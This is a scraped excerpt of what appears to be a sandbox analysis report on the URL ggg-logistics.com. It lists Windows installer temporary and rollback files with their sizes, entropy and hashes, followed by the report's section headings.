SHA-512:	91FAE7F6F6B17447B7DDE68BA316A187549524976A57C6033B2B5BC58F350077E5D4E956C31604D53D23CE849A40468B91F60696D26D88E3DB33D85398D91A30
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF7E5FBE18040F9D8F.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.206768431798443
Encrypted:	false
SSDEEP:	48:8wqRuLNveFXJFT5pcGKsdS5ouSilnsdS6WeUJLE:8TR3tTc2d/W2d0ev
MD5:	CA6D6432A19554433AA66AE90E397978
SHA1:	072AC82FF5A299149D8EC41ED772BC459D37FDB9
SHA-256:	3E2DA0802D290A04C63A399476C105E86B64179E61846DF0F477BC8FAB981167
SHA-512:	5EAE3477762A8A7C45714DFD2EDD2A92F1C2D308F2DEA41AFDFE4D513BE54768450F16C1458BC17EC3D44123D716C6237B2ADD7ECD558693F687A2F453EBD334
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF7ECCA10B1098B7B6.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2071562835494025
Encrypted:	false
SSDEEP:	48:OwqRuPPveFXJnT5a1ccsdS5fuSiA3sdS6WeUJLE:OTRVPTdHdoWRd0ev
MD5:	DE0FD529C60A2B783BB7FD00DCED0644
SHA1:	7E931EEAF450DC4F4DD660B73583619515424AB0
SHA-256:	44389CF8C3BDC67EE7FD300B32C245B5479A5EEBCF3E1AC804B81A2872CF2ABD
SHA-512:	7A5ED83C0C26CEDD3048AE61E97655C7A5B197A64835629264779C3963664C80507F049B847FAFF4B267E0A6232D0A392962DB67000428213C50F21EC54D43CD
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF7FA1019D4E827442.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF817AFD7D48694130.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5030198044557506
Encrypted:	false
SSDEEP:	48:xt8PhpuRc06WXJmnT54clsdS57uSiv3sdS6WeUJLE:ihp19nTdOdcWUd0ev
MD5:	5BFA4C883F6C2B144ECC255A2CDB82B0
SHA1:	241816623E4F1E0B7A9B805A653A540E0190A580
SHA-256:	D7B714A1AE93DF277491F319FEC50F7B9DF089CF45FA31C1C1A99F65C6808985
SHA-512:	E59CC3B535889B5B21C86523EE1BDB5F774EE2D0F0031C667937BE7A317FB7DD67F430F7CEB5DF52694617C43304C766B449FDF8632C8720781D8D4AF684375A
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF82836FCB2617473A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.11912323627647065
Encrypted:	false
SSDEEP:	24:wWSvSWe3EJlhlsndipVMlsndipV7VQpGrsGgSi+fTZkyn+qob:jESWeUJhsdSmsdS5ruSiwLF
MD5:	0E294276E2D0E036A5E0B90DE412C4FD
SHA1:	92ED6AA167A7A22D233F2EF7F240CC4890C53D1F
SHA-256:	841CFE74A6ACB8D56B185D9EB4A4EA42ED8F157C052BAA2F8E17C932C5E736C6
SHA-512:	6BE576D4FA132E297EF4EC868AE0D245B33389CD83048B337B2D5E5848ACCF2CC20C1B02659393B3581D4CA71F0AB5FCE2BB2683EE5BF5162B268D3426D2E191
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF83B1A34108014824.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8436DE29F5AAEA90.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.501644752718698
Encrypted:	false
SSDEEP:	48:y8PhpuRc06WXJmnT5QcGKsdS5ouSilnsdS6WeUJLE:dhp19nTl2d/W2d0ev
MD5:	72C4E89EDB04E58469D7175431518343
SHA1:	BB0ECBF6D495C037F95E7B19653316A34C889FD0
SHA-256:	9091C133B1E52C7A1EC66A16D1154586A44416EB06311445DDAEE44BF24E9069
SHA-512:	6F05EF8E5170825E2A92924BDB579A0DAB133BAA96BAE150248FCC5EDA02090A583C5502DD62133FA992AA53BF05288A6B1EBFB1F9593A5545C5AEE1466CF253
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF85A8CC03CE0D7EB4.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF85F618BB697FAAAA.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF863F1D80E3D3B1FB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5034545527114689
Encrypted:	false
SSDEEP:	48:d8PhpuRc06WXJmnT57c6sdS55uSi53sdS6WeUJLE:Ahp19nT+BdaWid0ev
MD5:	39205CA90CA3731A5E4D9E6AF6E92AFA
SHA1:	DA187F47D00DC8924FC6C97E5B936B729CB1DB18
SHA-256:	6B10811FA9B5DDF4E6AFF29DAC8E0DEB984B040E9628B08F34EC1DA18AF6164C
SHA-512:	D536CB5CF142D4F679850CC6E86564E145FF270B3D4D2016A07C215BAB3425006E0719A83293797B9BFB0848CC28B6CAEA8427511CFBF24972178CF99AE933E5
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF86430349EC78E0E3.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8969561D836789F1.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8B7B0049A3A8FA84.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2071562835494025
Encrypted:	false
SSDEEP:	48:OwqRuPPveFXJnT5a1ccsdS5fuSiA3sdS6WeUJLE:OTRVPTdHdoWRd0ev
MD5:	DE0FD529C60A2B783BB7FD00DCED0644
SHA1:	7E931EEAF450DC4F4DD660B73583619515424AB0
SHA-256:	44389CF8C3BDC67EE7FD300B32C245B5479A5EEBCF3E1AC804B81A2872CF2ABD
SHA-512:	7A5ED83C0C26CEDD3048AE61E97655C7A5B197A64835629264779C3963664C80507F049B847FAFF4B267E0A6232D0A392962DB67000428213C50F21EC54D43CD
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8BDBF19E9F732C9E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.207311598546024
Encrypted:	false
SSDEEP:	48:rXwqRuPNveFXJFT5ucRsdS5guSiq3sdS6WeUJLE:rXTRrtT7adnWfd0ev
MD5:	1FB8C0F8D472AE8AF532BF159076D788
SHA1:	44948A896CF08A8240F59784C4E7BE974BB733AE
SHA-256:	738FBA7E6BD487439D5E85207CD9E27B137A237BCEA77D0C4CA1FFE7B49F3BED
SHA-512:	371C95C74B2B369AF0F10725F9A7029668D963140DEF0F05DF832DD71F783CB9D84630CA2BEFE30FA161780B10AD1867C989013D61226460C2EEF021DF77D841
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8C45143D2995B628.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.207311598546024
Encrypted:	false
SSDEEP:	48:rXwqRuPNveFXJFT5ucRsdS5guSiq3sdS6WeUJLE:rXTRrtT7adnWfd0ev
MD5:	1FB8C0F8D472AE8AF532BF159076D788
SHA1:	44948A896CF08A8240F59784C4E7BE974BB733AE
SHA-256:	738FBA7E6BD487439D5E85207CD9E27B137A237BCEA77D0C4CA1FFE7B49F3BED
SHA-512:	371C95C74B2B369AF0F10725F9A7029668D963140DEF0F05DF832DD71F783CB9D84630CA2BEFE30FA161780B10AD1867C989013D61226460C2EEF021DF77D841
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8C62626D0159AD8A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2078854729072441
Encrypted:	false
SSDEEP:	48:niwqRuPNveFXJFT5FcUsdS5ruSiw3sdS6WeUJLE:niTRrtTAfdcWBd0ev
MD5:	4E30EC694618E044804D80F70E25FAD0
SHA1:	C0A840DD81A3FFEE8A5DDE6B4DDB1D8C4BBD7948
SHA-256:	C4493E157466CE0A60544FE7463680DC0C26ADBB45AB460F69517A23F7F4BCAA
SHA-512:	8F2B63C9C773CAFA04660C068F11E8C56AFB1503BC92B102528E993105B26561CC1F7EA0755CFFDDD39EE0930989B6DE7BD2B70871D29D974DD19D533362FF5A
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8CF393B3E6C97FF1.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8DCD8767E118CCD3.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5034545527114689
Encrypted:	false
SSDEEP:	48:d8PhpuRc06WXJmnT57c6sdS55uSi53sdS6WeUJLE:Ahp19nT+BdaWid0ev
MD5:	39205CA90CA3731A5E4D9E6AF6E92AFA
SHA1:	DA187F47D00DC8924FC6C97E5B936B729CB1DB18
SHA-256:	6B10811FA9B5DDF4E6AFF29DAC8E0DEB984B040E9628B08F34EC1DA18AF6164C
SHA-512:	D536CB5CF142D4F679850CC6E86564E145FF270B3D4D2016A07C215BAB3425006E0719A83293797B9BFB0848CC28B6CAEA8427511CFBF24972178CF99AE933E5
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8DFAB8E830A0F897.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8ED6DE029BE63B04.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5024061029402132
Encrypted:	false
SSDEEP:	48:s8PhpuRc06WXJmFT5jcnRsdS55uSih3sdS6WeUJLE:Dhp19FTmadqWad0ev
MD5:	89CD1E3685F10A794562AE0349C9A7AF
SHA1:	3302E1F7BA48D3E59A927C0DDC88602DDFF46463
SHA-256:	E45ACF3BF48AFD07DEC3F7B2FAF605A9D66813669A71E06D73121C3CA709A83C
SHA-512:	149D284E9AD315FFE08095C8BCE22A5B844ED6E99DE28AA7D27A4F4909B471222E4A9BBD3EEDEE900B5F99765A6B25360AFF024741D1DC555CABC3004E1298B7
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8EEA489C8ADA8D0A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2069688431087235
Encrypted:	false
SSDEEP:	48:GwqRuZNveFXJFT5vc9sdS5AuSinrPsdS6WeUJLE:GTR5tTqmdvWgd0ev
MD5:	BF39507E165541DA0BA67FAD27FAA999
SHA1:	C06CDD5213E3587119F02670C8098E95F41D45A6
SHA-256:	FCDA63868A5E6C9148E95D91FABACAE28FCD9358DC40A2371B76EB58CFA646AD
SHA-512:	2FBDF0EF97BBA9BD7A1D6AB0E8AC99ED525CA3B6ECC66267CC15C19C141E34F1C0030603DC8AE537DEF3D9D23B08B0463EA3C2E6347C10CAFFC897F6AD022F20
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF901A95B420F0F1B1.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF91E4E7D238D0E111.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF921B5EDE4170972C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF9251D2D8DB42DD69.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF9300A7D67E5AED12.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://ggg-logistics.com/

Overview

General Information

Detection

Signatures

Classification

Process Tree

AI Reasoning

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Spreading

Networking

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\58adc9.rbs

C:\Config.Msi\58adcc.rbs

C:\Config.Msi\58adce.rbs

C:\Config.Msi\58add0.rbs

C:\Config.Msi\58add2.rbs

C:\Config.Msi\58add4.rbs

C:\Config.Msi\58add6.rbs

C:\Config.Msi\58add8.rbs

C:\Config.Msi\58adda.rbs

C:\Config.Msi\58addc.rbs

C:\Config.Msi\58adde.rbs

C:\Config.Msi\58ade0.rbs

C:\Config.Msi\58ade2.rbs

C:\Config.Msi\58ade4.rbs

C:\Config.Msi\58ade6.rbs

C:\Config.Msi\58ade8.rbs

C:\Config.Msi\58adea.rbs

Windows Analysis Report
https://ggg-logistics.com/